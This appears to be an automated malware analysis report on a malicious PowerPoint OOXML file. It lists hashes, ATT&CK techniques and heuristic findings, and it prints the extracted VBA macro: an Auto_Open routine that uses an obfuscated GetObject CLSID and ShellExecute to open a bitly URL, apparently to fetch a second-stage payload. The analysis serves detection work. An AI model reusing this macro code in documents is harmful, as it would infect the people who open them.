Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2c0d48ce53554f5d…

MALICIOUS

Office (OOXML)

11.6 KB First seen: 2021-11-07
MD5: 4172fa9c35d8330ae6433cd0cfbb6ab1 SHA-1: 592b2edbe28fbd216ac63eba0c5b7a4bd7c3b11e SHA-256: 2c0d48ce53554f5d4b357700df203e116270e5dd5b551c49673df7ca920ebf35
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro with an Auto_Open subroutine. This macro uses GetObject and ShellExecute to attempt to open the URL "https://bitly.com/eywuiqdbnamsdgjh". The GetObject function is used to instantiate an object that is then used to execute the URL, indicating a likely attempt to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function Janug()
    Set Janug = GetObject(StrReverse _
    ("0" + "0" + "0" + "0" + "4" + "5" + "3" + "5" + "5" + "4" + "4" + "4" + "-" + "E" + "9" + "4" + "A" + "-" + "E" + "C" + "1" + "1" + "-" + "9" + "7" + "2" + "C" + "-" + "0" + "2" + "6" + "9" + "0" + "7" + "3" + "1" + ":" + "w" + "e" + "n"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
    Sub Auto_Open()
     Dim obj As New Class1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bitly.com/eywuiqdbnamsdgjh In document text (OOXML body / shared strings)
    • https://bitly.com/eywuiqdbnamsdgjh�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1166 bytes
SHA-256: 613a9cc49e426f7f43db87cb7eb7cbfe1f9c119e23c0530a9a1b469a11162a20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{08630C67-A1A0-4CDD-90CA-142117B31216}{93AF8BEF-F8E0-4CA4-8082-0D1BA322F793}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "Module11"
Sub Auto_Open()
 Dim obj As New Class1



    Call obj.Janug.ShellExecute(k1.u1.ControlTipText, "https://bitly.com/eywuiqdbnamsdgjh", "", "open", 1)

End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function Janug()
Set Janug = GetObject(StrReverse _
("0" + "0" + "0" + "0" + "4" + "5" + "3" + "5" + "5" + "4" + "4" + "4" + "-" + "E" + "9" + "4" + "A" + "-" + "E" + "C" + "1" + "1" + "-" + "9" + "7" + "2" + "C" + "-" + "0" + "2" + "6" + "9" + "0" + "7" + "3" + "1" + ":" + "w" + "e" + "n"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 26112 bytes
SHA-256: ceec5ee74e48bfbfb3468cfd399683190df0bc572120332b093e79d830fa07a3